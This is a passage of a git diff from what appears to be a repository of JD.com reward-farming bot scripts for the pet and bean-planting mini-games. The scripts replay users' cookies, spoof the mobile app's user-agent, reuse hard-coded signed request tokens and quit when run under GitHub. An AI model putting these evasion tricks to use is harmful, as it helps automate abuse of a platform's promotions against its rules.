{ - const response2 = await request("getSingleShopReward", body2); - // console.log(`浏览完毕领取奖励:response2::${JSON.stringify(response2)}`); - if (response2.code === '0' && response2.resultCode === '0') { - console.log(`【浏览指定店铺】获取${response2.result.reward}g\n`); - // message += `【浏览指定店铺】获取${response2.result.reward}g\n`; - } - } -} - -// 浏览店铺任务, 任务可能为多个? 目前只有一个 -async function browseShopsInitFun() { - console.log('开始浏览店铺任务'); - let times = 0; - let resultCode = 0; - let code = 0; - do { - let response = await request("getBrowseShopsReward"); - console.log(`第${times}次浏览店铺结果: ${JSON.stringify(response)}`); - code = response.code; - resultCode = response.resultCode; - times++; - } while (resultCode == 0 && code == 0 && times < 5) - console.log('浏览店铺任务结束'); -} -// 首次投食 任务 -function firstFeedInitFun() { - console.log('首次投食任务合并到10次喂食任务中\n'); -} - -// 邀请新用户 -async function inviteFriendsInitFun() { - console.log('邀请新用户功能未实现'); - if ($.taskInfo.inviteFriendsInit.status == 1 && $.taskInfo.inviteFriendsInit.inviteFriendsNum > 0) { - // 如果有邀请过新用户,自动领取60gg奖励 - const res = await request('getInviteFriendsReward'); - if (res.code == 0 && res.resultCode == 0) { - console.log(`领取邀请新用户奖励成功,获得狗粮现有狗粮${$.taskInfo.inviteFriendsInit.reward}g,${res.result.foodAmount}g`); - message += `【邀请新用户】获取狗粮${$.taskInfo.inviteFriendsInit.reward}g\n`; - } - } -} - -/** - * 投食10次 任务 - */ -async function feedReachInitFun() { - console.log('投食任务开始...'); - let finishedTimes = $.taskInfo.feedReachInit.hadFeedAmount / 10; //已经喂养了几次 - let needFeedTimes = 10 - finishedTimes; //还需要几次 - let tryTimes = 20; //尝试次数 - do { - console.log(`还需要投食${needFeedTimes}次`); - const response = await request('feedPets'); - console.log(`本次投食结果: ${JSON.stringify(response)}`); - if (response.resultCode == 0 && response.code == 0) { - needFeedTimes--; - } - if (response.resultCode == 3003 && response.code == 0) { - console.log('剩余狗粮不足, 投食结束'); - needFeedTimes = 0; - } - tryTimes--; - } while (needFeedTimes > 0 && tryTimes > 0) - console.log('投食任务结束...\n'); -} -async function showMsg() { - if ($.isNode() && process.env.PET_NOTIFY_CONTROL) { - $.ctrTemp = `${process.env.PET_NOTIFY_CONTROL}` === 'false'; - } else if ($.getdata('jdPetNotify')) { - $.ctrTemp = $.getdata('jdPetNotify') === 'false'; - } else { - $.ctrTemp = `${jdNotify}` === 'false'; - } - // jdNotify = `${notify.petNotifyControl}` === 'false' && `${jdNotify}` === 'false' && $.getdata('jdPetNotify') === 'false'; - if ($.ctrTemp) { - $.msg($.name, subTitle, message, option); - if ($.isNode()) { - allMessage += `${subTitle}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}` - // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}`, `${subTitle}\n${message}`); - } - } else { - $.log(`\n${message}\n`); - } -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0 && data.base && data.base.nickname) { - $.nickName = data.base.nickname; - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e) - } - finally { - resolve(); - } - }) - }) -} -// 请求 -async function request(function_id, body = {}) { - await $.wait(3000); //歇口气儿, 不然会报操作频繁 - return new Promise((resolve, reject) => { - $.post(taskUrl(function_id, body), (err, resp, data) => { - try { - if (err) { - console.log('\n东东萌宠: API查询请求失败 ‼️‼️'); - console.log(JSON.stringify(err)); - $.logErr(err); - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } - finally { - resolve(data) - } - }) - }) -} -// function taskUrl(function_id, body = {}) { -// return { -// url: `${JD_API_HOST}?functionId=${function_id}&appid=wh5&loginWQBiz=pet-town&body=${escape(JSON.stringify(body))}`, -// headers: { -// Cookie: cookie, -// UserAgent: $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), -// } -// }; -// } -function taskUrl(function_id, body = {}) { - body["version"] = 2; - body["channel"] = 'app'; - return { - url: `${JD_API_HOST}?functionId=${function_id}`, - body: `body=${escape(JSON.stringify(body))}&appid=wh5&loginWQBiz=pet-town&clientVersion=9.0.4`, - headers: { - 'Cookie': cookie, - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Host': 'api.m.jd.com', - 'Content-Type': 'application/x-www-form-urlencoded', - } - }; -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t, e) { - "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); - class s { - constructor(t) { - this.env = t - } - send(t, e = "GET") { - t = "string" == typeof t ? { - url: t - } - : t; - let s = this.get; - return "POST" === e && (s = this.post), - new Promise((e, i) => { - s.call(this, t, (t, s, r) => { - t ? i(t) : e(s) - }) - }) - } - get(t) { - return this.send.call(this.env, t) - } - post(t) { - return this.send.call(this.env, t, "POST") - } - } - return new class { - constructor(t, e) { - this.name = t, - this.http = new s(this), - this.data = null, - this.dataFile = "box.dat", - this.logs = [], - this.isMute = !1, - this.isNeedRewrite = !1, - this.logSeparator = "\n", - this.startTime = (new Date).getTime(), - Object.assign(this, e), - this.log("", `🔔${this.name}, 开始!`) - } - isNode() { - return "undefined" != typeof module && !!module.exports - } - isQuanX() { - return "undefined" != typeof $task - } - isSurge() { - return "undefined" != typeof $httpClient && "undefined" == typeof $loon - } - isLoon() { - return "undefined" != typeof $loon - } - toObj(t, e = null) { - try { - return JSON.parse(t) - } catch { - return e - } - } - toStr(t, e = null) { - try { - return JSON.stringify(t) - } catch { - return e - } - } - getjson(t, e) { - let s = e; - const i = this.getdata(t); - if (i) - try { - s = JSON.parse(this.getdata(t)) - } catch {} - return s - } - setjson(t, e) { - try { - return this.setdata(JSON.stringify(t), e) - } catch { - return !1 - } - } - getScript(t) { - return new Promise(e => { - this.get({ - url: t - }, (t, s, i) => e(i)) - }) - } - runScript(t, e) { - return new Promise(s => { - let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); - i = i ? i.replace(/\n/g, "").trim() : i; - let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); - r = r ? 1 * r : 20, - r = e && e.timeout ? e.timeout : r; - const[o, h] = i.split("@"), - n = { - url: `http://${h}/v1/scripting/evaluate`, - body: { - script_text: t, - mock_type: "cron", - timeout: r - }, - headers: { - "X-Key": o, - Accept: "*/*" - } - }; - this.post(n, (t, e, i) => s(i)) - }).catch(t => this.logErr(t)) - } - loaddata() { - if (!this.isNode()) - return {}; { - this.fs = this.fs ? this.fs : require("fs"), - this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e); - if (!s && !i) - return {}; { - const i = s ? t : e; - try { - return JSON.parse(this.fs.readFileSync(i)) - } catch (t) { - return {} - } - } - } - } - writedata() { - if (this.isNode()) { - this.fs = this.fs ? this.fs : require("fs"), - this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e), - r = JSON.stringify(this.data); - s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) - } - } - lodash_get(t, e, s) { - const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); - let r = t; - for (const t of i) - if (r = Object(r)[t], void 0 === r) - return s; - return r - } - lodash_set(t, e, s) { - return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) - } - getdata(t) { - let e = this.getval(t); - if (/^@/.test(t)) { - const[, s, i] = /^@(.*?)\.(.*?)$/.exec(t), - r = s ? this.getval(s) : ""; - if (r) - try { - const t = JSON.parse(r); - e = t ? this.lodash_get(t, i, "") : e - } catch (t) { - e = "" - } - } - return e - } - setdata(t, e) { - let s = !1; - if (/^@/.test(e)) { - const[, i, r] = /^@(.*?)\.(.*?)$/.exec(e), - o = this.getval(i), - h = i ? "null" === o ? null : o || "{}" : "{}"; - try { - const e = JSON.parse(h); - this.lodash_set(e, r, t), - s = this.setval(JSON.stringify(e), i) - } catch (e) { - const o = {}; - this.lodash_set(o, r, t), - s = this.setval(JSON.stringify(o), i) - } - } else - s = this.setval(t, e); - return s - } - getval(t) { - return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null - } - setval(t, e) { - return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null - } - initGotEnv(t) { - this.got = this.got ? this.got : require("got"), - this.cktough = this.cktough ? this.cktough : require("tough-cookie"), - this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, - t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) - } - get(t, e = (() => {})) { - t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), - this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { - "X-Surge-Skip-Scripting": !1 - })), $httpClient.get(t, (t, s, i) => { - !t && s && (s.body = i, s.statusCode = s.status), - e(t, s, i) - })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { - hints: !1 - })), $task.fetch(t).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { - try { - if (t.headers["set-cookie"]) { - const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); - s && this.ckjar.setCookieSync(s, null), - e.cookieJar = this.ckjar - } - } catch (t) { - this.logErr(t) - } - }).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => { - const { - message: s, - response: i - } = t; - e(s, i, i && i.body) - })) - } - post(t, e = (() => {})) { - if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) - this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { - "X-Surge-Skip-Scripting": !1 - })), $httpClient.post(t, (t, s, i) => { - !t && s && (s.body = i, s.statusCode = s.status), - e(t, s, i) - }); - else if (this.isQuanX()) - t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { - hints: !1 - })), $task.fetch(t).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => e(t)); - else if (this.isNode()) { - this.initGotEnv(t); - const { - url: s, - ...i - } = t; - this.got.post(s, i).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => { - const { - message: s, - response: i - } = t; - e(s, i, i && i.body) - }) - } - } - time(t, e = null) { - const s = e ? new Date(e) : new Date; - let i = { - "M+": s.getMonth() + 1, - "d+": s.getDate(), - "H+": s.getHours(), - "m+": s.getMinutes(), - "s+": s.getSeconds(), - "q+": Math.floor((s.getMonth() + 3) / 3), - S: s.getMilliseconds() - }; - /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); - for (let e in i) - new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); - return t - } - msg(e = t, s = "", i = "", r) { - const o = t => { - if (!t) - return t; - if ("string" == typeof t) - return this.isLoon() ? t : this.isQuanX() ? { - "open-url": t - } - : this.isSurge() ? { - url: t - } - : void 0; - if ("object" == typeof t) { - if (this.isLoon()) { - let e = t.openUrl || t.url || t["open-url"], - s = t.mediaUrl || t["media-url"]; - return { - openUrl: e, - mediaUrl: s - } - } - if (this.isQuanX()) { - let e = t["open-url"] || t.url || t.openUrl, - s = t["media-url"] || t.mediaUrl; - return { - "open-url": e, - "media-url": s - } - } - if (this.isSurge()) { - let e = t.url || t.openUrl || t["open-url"]; - return { - url: e - } - } - } - }; - if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { - let t = ["", "==============📣系统通知📣=============="]; - t.push(e), - s && t.push(s), - i && t.push(i), - console.log(t.join("\n")), - this.logs = this.logs.concat(t) - } - } - log(...t) { - t.length > 0 && (this.logs = [...this.logs, ...t]), - console.log(t.join(this.logSeparator)) - } - logErr(t, e) { - const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); - s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) - } - wait(t) { - return new Promise(e => setTimeout(e, t)) - } - done(t = {}) { - const e = (new Date).getTime(), - s = (e - this.startTime) / 1e3; - this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), - this.log(), - (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) - } - } - (t, e) -} diff --git a/jd_pigPet.js b/jd_pigPet.js index 5871224d3..8f3907a34 100644 --- a/jd_pigPet.js +++ b/jd_pigPet.js @@ -48,11 +48,11 @@ if ($.isNode()) { if (process.env.PIGPETSHARECODE) { shareId = process.env.PIGPETSHARECODE } else { - let res = await getAuthorShareCode('') + let res = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/pigPet.json') if (!res) { - $.http.get({url: ''}).then((resp) => {}).catch((e) => console.log('刷新CDN异常', e)); + $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/pigPet.json'}).then((resp) => {}).catch((e) => console.log('刷新CDN异常', e)); await $.wait(2000) - res = await getAuthorShareCode('') + res = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/pigPet.json') } if (res && res.length) shareId = res[Math.floor((Math.random() * res.length))] } diff --git a/jd_plantBean.js b/jd_plantBean.js deleted file mode 100644 index 0c65df7a5..000000000 --- a/jd_plantBean.js +++ /dev/null @@ -1,882 +0,0 @@ -/* -种豆得豆 -updatetime:2022-07-17 -活动入口:京东APP我的-更多工具-种豆得豆 -已支持IOS京东多账号,云端多京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -注:会自动关注任务中的店铺跟商品,介意者勿使用。 -互助码shareCode请先手动运行脚本查看打印可看到 -每个京东账号每天只能帮助3个人。多出的助力码将会助力失败。 -=====================================Quantumult X================================= -[task_local] -15 7-21/2 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_plantBean.js, tag=种豆得豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdzd.png, enabled=true -=====================================Loon================================ -[Script] -cron "15 7-21/2 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_plantBean.js,tag=京东种豆得豆 -======================================Surge========================== -京东种豆得豆 = type=cron,cronexp="15 7-21/2 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_plantBean.js -====================================小火箭============================= -京东种豆得豆 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_plantBean.js, cronexpr="15 7-21/2 * * *", timeout=3600, enable=true -*/ -const $ = new Env('京东种豆得豆'); -//Node.js用户请在jdCookie.js处填写京东ck; -//ios等软件用户直接用NobyDa的jd cookie -let jdNotify = true;//是否开启静默运行。默认true开启 -let cookiesArr = [], cookie = '', jdPlantBeanShareArr = [], isBox = false, notify, newShareCodes, option, message,subTitle; -//京东接口地址 -const JD_API_HOST = 'https://api.m.jd.com/client.action'; -//助力好友分享码(最多3个,否则后面的助力失败) -//此此内容是IOS用户下载脚本到本地使用,填写互助码的地方,同一京东账号的好友互助码请使用@符号隔开。 -//下面给出两个账号的填写示例(iOS只支持2个京东账号) -let shareCodes = [''] -let allMessage = ``; -let currentRoundId = null;//本期活动id -let lastRoundId = null;//上期id -let roundList = []; -let awardState = '';//上期活动的京豆是否收取 -let randomCount = $.isNode() ? 20 : 5; -let num; - -let NowHour = new Date().getHours(); -let llhelp=true; -if ($.isNode() && process.env.CC_NOHELPAFTER8) { - console.log(NowHour); - if (process.env.CC_NOHELPAFTER8=="true"){ - if (NowHour>8){ - llhelp=false; - console.log(`现在是9点后时段,不启用互助....`); - } - } -} -!(async () => { - await requireConfig(); - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await TotalBean(); - console.log(`开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - message = ''; - subTitle = ''; - option = {}; - await shareCodesFormat(); - await jdPlantBean(); - await showMsg(); - } - } - - if ($.isNode() && allMessage) { - await notify.sendNotify(`${$.name}`, `${allMessage}`) - } -})().catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') -}).finally(() => { - $.done(); -}) - -async function jdPlantBean() { - try { - console.log(`获取任务及基本信息`) - await plantBeanIndex(); - if ($.plantBeanIndexResult.errorCode === 'PB101') { - console.log(`\n活动太火爆了,还是去买买买吧!\n`) - return - } - for (let i = 0; i < $.plantBeanIndexResult.data?.roundList?.length; i++) { - if ($.plantBeanIndexResult.data.roundList[i].roundState === "2") { - num = i - break - } - } - // console.log(plantBeanIndexResult.data.taskList); - if ($.plantBeanIndexResult && $.plantBeanIndexResult.code === '0' && $.plantBeanIndexResult.data) { - const shareUrl = $.plantBeanIndexResult.data.jwordShareInfo.shareUrl - $.myPlantUuid = getParam(shareUrl, 'plantUuid') - console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.myPlantUuid}\n`); - roundList = $.plantBeanIndexResult.data.roundList; - currentRoundId = roundList[num].roundId;//本期的roundId - lastRoundId = roundList[num - 1].roundId;//上期的roundId - awardState = roundList[num - 1].awardState; - $.taskList = $.plantBeanIndexResult.data.taskList; - subTitle = `【京东昵称】${$.plantBeanIndexResult.data.plantUserInfo.plantNickName}`; - message += `【上期时间】${roundList[num - 1].dateDesc.replace('上期 ', '')}\n`; - message += `【上期成长值】${roundList[num - 1].growth}\n`; - await receiveNutrients();//定时领取营养液 - await doTask();//做日常任务 - //await doEgg(); - await stealFriendWater(); - await doCultureBean(); - await doGetReward(); - await showTaskProcess(); - if(llhelp){ - await doHelp() - } - await plantShareSupportList(); - } else { - console.log(`种豆得豆-初始失败: ${JSON.stringify($.plantBeanIndexResult)}`); - } - } catch (e) { - $.logErr(e); - const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常,请检查执行日志 ‼️‼️`; - // if ($.isNode()) await notify.sendNotify(`${$.name}`, errMsg); - $.msg($.name, '', `${errMsg}`) - } -} -async function doGetReward() { - console.log(`【上轮京豆】${awardState === '4' ? '采摘中' : awardState === '5' ? '可收获了' : '已领取'}`); - if (awardState === '4') { - //京豆采摘中... - message += `【上期状态】${roundList[num - 1].tipBeanEndTitle}\n`; - } else if (awardState === '5') { - //收获 - await getReward(); - console.log('开始领取京豆'); - if ($.getReward && $.getReward.code === '0') { - console.log('京豆领取成功'); - message += `【上期兑换京豆】${$.getReward.data.awardBean}个\n`; - $.msg($.name, subTitle, message); - allMessage += `京东账号${$.index}🆔 ${$.nickName}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}` - // if ($.isNode()) { - // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}`, `京东账号${$.index} ${$.nickName}\n${message}`); - // } - } else { - console.log(`$.getReward 异常:${JSON.stringify($.getReward)}`) - } - } else if (awardState === '6') { - //京豆已领取 - message += `【上期兑换京豆】${roundList[num - 1].awardBeans}个\n`; - } - if (roundList[num].dateDesc.indexOf('本期 ') > -1) { - roundList[num].dateDesc = roundList[num].dateDesc.substr(roundList[num].dateDesc.indexOf('本期 ') + 3, roundList[num].dateDesc.length); - } - message += `【本期时间】${roundList[num].dateDesc}\n`; - message += `【本期成长值】${roundList[num].growth}\n`; -} -async function doCultureBean() { - await plantBeanIndex(); - if ($.plantBeanIndexResult && $.plantBeanIndexResult.code === '0') { - const plantBeanRound = $.plantBeanIndexResult.data?.roundList[num] - if (plantBeanRound?.roundState === '2') { - //收取营养液 - if (plantBeanRound.bubbleInfos && plantBeanRound.bubbleInfos.length) console.log(`开始收取营养液`) - for (let bubbleInfo of plantBeanRound.bubbleInfos) { - console.log(`收取-${bubbleInfo.name}-的营养液`) - await cultureBean(plantBeanRound.roundId, bubbleInfo.nutrientsType) - console.log(`收取营养液结果:${JSON.stringify($.cultureBeanRes)}`) - } - } - } else { - console.log(`plantBeanIndexResult:${JSON.stringify($.plantBeanIndexResult)}`) - } -} -async function stealFriendWater() { - await stealFriendList(); - if ($.stealFriendList && $.stealFriendList.code === '0') { - if ($.stealFriendList.data && $.stealFriendList.data.tips) { - console.log('\n\n今日偷取好友营养液已达上限\n\n'); - return - } - if ($.stealFriendList.data && $.stealFriendList.data.friendInfoList && $.stealFriendList.data.friendInfoList.length > 0) { - let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000); - for (let item of $.stealFriendList.data.friendInfoList) { - if (new Date(nowTimes).getHours() === 20) { - if (item.nutrCount >= 2) { - // console.log(`可以偷的好友的信息::${JSON.stringify(item)}`); - console.log(`可以偷的好友的信息paradiseUuid::${JSON.stringify(item.paradiseUuid)}`); - await collectUserNutr(item.paradiseUuid); - console.log(`偷取好友营养液情况:${JSON.stringify($.stealFriendRes)}`) - if ($.stealFriendRes && $.stealFriendRes.code === '0') { - console.log(`偷取好友营养液成功`) - } - } - } else { - if (item.nutrCount >= 3) { - // console.log(`可以偷的好友的信息::${JSON.stringify(item)}`); - console.log(`可以偷的好友的信息paradiseUuid::${JSON.stringify(item.paradiseUuid)}`); - await collectUserNutr(item.paradiseUuid); - console.log(`偷取好友营养液情况:${JSON.stringify($.stealFriendRes)}`) - if ($.stealFriendRes && $.stealFriendRes.code === '0') { - console.log(`偷取好友营养液成功`) - } - } - } - await $.wait(1000) - } - } - } else { - console.log(`$.stealFriendList 异常: ${JSON.stringify($.stealFriendList)}`) - } -} -async function doEgg() { - await egg(); - if ($.plantEggLotteryRes && $.plantEggLotteryRes.code === '0') { - if ($.plantEggLotteryRes.data.restLotteryNum > 0) { - const eggL = new Array($.plantEggLotteryRes.data.restLotteryNum).fill(''); - console.log(`目前共有${eggL.length}次扭蛋的机会`) - for (let i = 0; i < eggL.length; i++) { - console.log(`开始第${i + 1}次扭蛋`); - await plantEggDoLottery(); - console.log(`天天扭蛋成功:${JSON.stringify($.plantEggDoLotteryResult)}`); - } - } else { - console.log('暂无扭蛋机会') - } - } else { - console.log('查询天天扭蛋的机会失败' + JSON.stringify($.plantEggLotteryRes)) - } -} -async function doTask() { - if ($.taskList && $.taskList.length > 0) { - for (let item of $.taskList) { - if (item.isFinished === 1) { - console.log(`${item.taskName} 任务已完成\n`); - continue; - } else { - switch(item.taskType){ - case 92: - await farmtask(); - continue; - case 57: - await jxdoublesign1('https://m.jingxi.com/jxbfd/user/DoubleSignDeal?g_ty=h5&g_tk=&appCode=msd1188198&__t=1657108409440&dwEnv=7&strDeviceId=a3b4e844090b28d5c38e7529af8115172079be4d&strZone=jxbfd&bizCode=jxbfd&source=jxbfd&_cfd_t=1657108409190&_stk=__t%2C_cfd_t%2CbizCode%2CdwEnv%2Csource%2CstrDeviceId%2CstrZone&_ste=1&h5st=20220706195330228%3B1980457211661562%3B10032%3Btk02w78551ad830nuMcGB4Qsv9QxapLP7gZdOCYE5PVV%2Bna%2Bb4KU21drJq64oP82965Vdc1tGqVU%2Flp7ydcZ5XgH0Feh%3B241b6f1d21bf8e41f380a5dd29a7bac2a6f1f65a0c7ef1b1f751eaea4c40dd9c%3B3.0%3B1657108410228&sceneval=2'); - await $.wait(2000); - await jxdoublesign1('https://wq.jd.com/jxjdsignin/SignedInfo?channel=jx_zdddsq&_t=1658021925021&h5st=20220717093845024%3B5548444396555217%3B0f6ed%3Btk02w9b851b9c18nin7CZjR7vNSlwRexAOGWbYAbl85d9DiQJ1SufW8ZQEQ%2FSygreq626CVRO2gT8DwUUTLBXGyK6wam%3B7eb86560860f8f60ad3b679c34f89aacf891b5a85580efd0a30c355537bfec54%3B3.0%3B1658021925024&_stk=_t%2Cchannel&_=1658021925027&sceneval=2&g_login_type=1&g_ty=ajax&appCode=msc588d6d5'); - await $.wait(2000); - await jxdoublesign1('https://wq.jd.com/jxjdsignin/IssueReward?channel=jx_zdddsq&_t=1658021926276&h5st=20220717093846279%3B5548444396555217%3B0f6ed%3Btk02w9b851b9c18nin7CZjR7vNSlwRexAOGWbYAbl85d9DiQJ1SufW8ZQEQ%2FSygreq626CVRO2gT8DwUUTLBXGyK6wam%3Be2d7b6810b3bd1b9d9692d354ecbb582e69afc64df19bd8d6c14632b1a65660c%3B3.0%3B1658021926279&_stk=_t%2Cchannel&sceneval=2&g_login_type=1&g_ty=ajax&appCode=msc588d6d5'); - await $.wait(2000); - continue; - case 3: - console.log(`开始做 ${item.taskName}任务`); - let unFinishedShopNum = item.totalNum - item.gainedNum; - if (unFinishedShopNum === 0) { - continue - } - await shopTaskList(); - const { data } = $.shopTaskListRes; - let goodShopListARR = [],moreShopListARR = [], shopList = []; - const { goodShopList, moreShopList } = data; - if (goodShopList) { - for (let i of goodShopList) { - if (i.taskState === '2') { - goodShopListARR.push(i); - } - } - } - if (moreShopList) { - for (let j of moreShopList) { - if (j.taskState === '2') { - moreShopListARR.push(j); - } - } - } - - shopList = goodShopListARR.concat(moreShopListARR); - for (let shop of shopList) { - const { shopId, shopTaskId } = shop; - const body = { - "monitor_refer": "plant_shopNutrientsTask", - "shopId": shopId, - "shopTaskId": shopTaskId - } - const shopRes = await requestGet('shopNutrientsTask', body); - console.log(`shopRes结果:${JSON.stringify(shopRes)}`); - if (shopRes && shopRes.code === '0') { - if (shopRes.data && shopRes.data.nutrState && shopRes.data.nutrState === '1') { - unFinishedShopNum --; - } - } - if (unFinishedShopNum <= 0) { - console.log(`${item.taskName}任务已做完\n`) - break; - } - } - continue; - case 5: - //挑选商品 - console.log(`开始做 ${item.taskName}任务`); - 